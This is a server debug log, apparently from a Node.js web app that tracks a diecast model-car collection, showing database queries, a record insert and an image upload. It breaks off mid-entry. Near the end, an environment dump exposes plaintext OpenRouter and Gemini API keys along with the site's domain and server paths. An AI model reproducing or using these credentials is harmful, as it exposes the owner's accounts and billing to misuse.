      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 97,
      model_name: 'Cadillac Project GTP Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-24T18:30:00.000Z',
      price: '400.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Cadillac',
      vehicle_brand_id: 169,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 96,
      model_name: 'Pagani Utopia',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '270.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'M',
      vehicle_brand_name: 'Pagani',
      vehicle_brand_id: 168,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 94,
      model_name: 'McMurtry Speirling',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Mcmurtry',
      vehicle_brand_id: 167,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 87,
      model_name: 'BMW 635 CSi',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Wild Widebody',
      brand_id: 71,
      series_id: 148,
      case: 'P',
      vehicle_brand_name: 'BMW',
      vehicle_brand_id: 126,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 73,
      model_name: '62 Corvette Gasser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-27T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Corvette ',
      vehicle_brand_id: 152,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:25:49.210Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-03T13:25:49.210Z server-connect:app Executing action step identify
2026-02-03T13:25:49.210Z server-connect:app options: { provider: 'security' }
2026-02-03T13:25:49.211Z server-connect:output identity: 1
2026-02-03T13:25:49.211Z server-connect:app Executing action step restrict
2026-02-03T13:25:49.211Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:25:49.212Z server-connect:output restrict: undefined
2026-02-03T13:25:49.212Z server-connect:app Executing action step condition
2026-02-03T13:25:49.212Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-03T13:25:49.212Z server-connect:app Executing action step insert
2026-02-03T13:25:49.212Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-03T13:25:49.215Z server-connect:output insert: { affected: 1, identity: 138 }
2026-02-03T13:25:49.215Z server-connect:app Executing action step condition
2026-02-03T13:25:49.215Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-03T13:25:49.215Z server-connect:app Executing action step upload
2026-02-03T13:25:49.215Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-03T13:25:49.215Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-03T13:25:49.215Z server-connect:upload Process fields: 'images[]'
2026-02-03T13:25:49.216Z server-connect:upload Processing file: {
  name: 'ID068851_DeXsEiM7CeQe.jpeg',
  data: <Buffer >,
  size: 126626,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-5-20378841770125149209',
  truncated: false,
  mimetype: 'image/jpeg',
  md5: '040a6c73830c951628479df3d3d6620b',
  mv: [Function: mv]
}
2026-02-03T13:25:49.216Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID068851_DeXsEiM7CeQe_4d965df8-eea9-481d-8388-d2eedfbc5621.jpeg',
  rel: 'public/assets/images/diecast/ID068851_DeXsEiM7CeQe_4d965df8-eea9-481d-8388-d2eedfbc5621.jpeg'
}
2026-02-03T13:25:49.216Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/ID068851_DeXsEiM7CeQe_4d965df8-eea9-481d-8388-d2eedfbc5621.jpeg',
  rel: 'assets/images/diecast/ID068851_DeXsEiM7CeQe_4d965df8-eea9-481d-8388-d2eedfbc5621.jpeg'
}
2026-02-03T13:25:49.216Z server-connect:output upload_image: [
  {
    name: 'ID068851_DeXsEiM7CeQe_4d965df8-eea9-481d-8388-d2eedfbc5621.jpeg',
    path: '/public/assets/images/diecast/ID068851_DeXsEiM7CeQe_4d965df8-eea9-481d-8388-d2eedfbc5621.jpeg',
    url: '/assets/images/diecast/ID068851_DeXsEiM7CeQe_4d965df8-eea9-481d-8388-d2eedfbc5621.jpeg',
    type: 'image/jpeg',
    size: 126626
  }
]
2026-02-03T13:25:49.216Z server-connect:app Executing action step repeat
2026-02-03T13:25:49.216Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-03T13:25:49.216Z server-connect:app Executing action step insert
2026-02-03T13:25:49.216Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-03T13:25:49.218Z server-connect:output images: { affected: 1, identity: 156 }
2026-02-03T13:25:49.218Z server-connect:output repeat_images: [ {} ]
2026-02-03T13:25:49.218Z server-connect:output condition: undefined
2026-02-03T13:25:49.218Z server-connect:output condition: undefined
2026-02-03T13:25:49.430Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-03T13:25:49.430Z server-connect:app Executing action step identify
2026-02-03T13:25:49.430Z server-connect:app options: { provider: 'security' }
2026-02-03T13:25:49.431Z server-connect:output identity: 1
2026-02-03T13:25:49.431Z server-connect:app Executing action step restrict
2026-02-03T13:25:49.431Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T13:25:49.431Z server-connect:output restrict: undefined
2026-02-03T13:25:49.431Z server-connect:app Executing action step paged
2026-02-03T13:25:49.431Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-03T13:25:49.435Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 25,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500- Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 102,
      model_name: 'Alfa Romeo Giulia TI Super',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'Q',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 101,
      model_name: 'Ford Mustang-E 1400',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 97,
      model_name: 'Cadillac Project GTP Hypercar',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-24T18:30:00.000Z',
      price: '400.00',
      brand: 'Hotwheels',
      series: 'HW Exotics',
      brand_id: 71,
      series_id: 170,
      case: 'M',
      vehicle_brand_name: 'Cadillac',
      vehicle_brand_id: 169,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 96,
      model_name: 'Pagani Utopia',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '270.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'M',
      vehicle_brand_name: 'Pagani',
      vehicle_brand_id: 168,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 94,
      model_name: 'McMurtry Speirling',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-10T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Mcmurtry',
      vehicle_brand_id: 167,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 93,
      model_name: 'TV Series Batmobile',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-18T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Batman',
      brand_id: 71,
      series_id: 161,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 92,
      model_name: 'Rodger Dodger 2.0',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'P',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 90,
      model_name: 'Rodger Dodger',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Fan Driver',
      brand_id: 71,
      series_id: 159,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 87,
      model_name: 'BMW 635 CSi',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Wild Widebody',
      brand_id: 71,
      series_id: 148,
      case: 'P',
      vehicle_brand_name: 'BMW',
      vehicle_brand_id: 126,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 86,
      model_name: 'Ford RS200',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-03T18:30:00.000Z',
      price: '250.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 73,
      model_name: '62 Corvette Gasser',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-27T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'J',
      vehicle_brand_name: 'Corvette ',
      vehicle_brand_id: 152,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-03T13:26:40.642Z server-connect:router Serving templateView /collections
2026-02-03T13:26:40.642Z server-connect:app Executing action step identify
2026-02-03T13:26:40.642Z server-connect:app options: { provider: 'security' }
2026-02-03T13:26:40.642Z server-connect:output identity: 1
2026-02-03T13:26:40.642Z server-connect:app Executing action step restrict
2026-02-03T13:26:40.643Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-03T13:26:40.644Z server-connect:output restrict: undefined
2026-02-03T13:26:40.644Z server-connect:router Render template masters/collections
2026-02-03T13:26:40.644Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
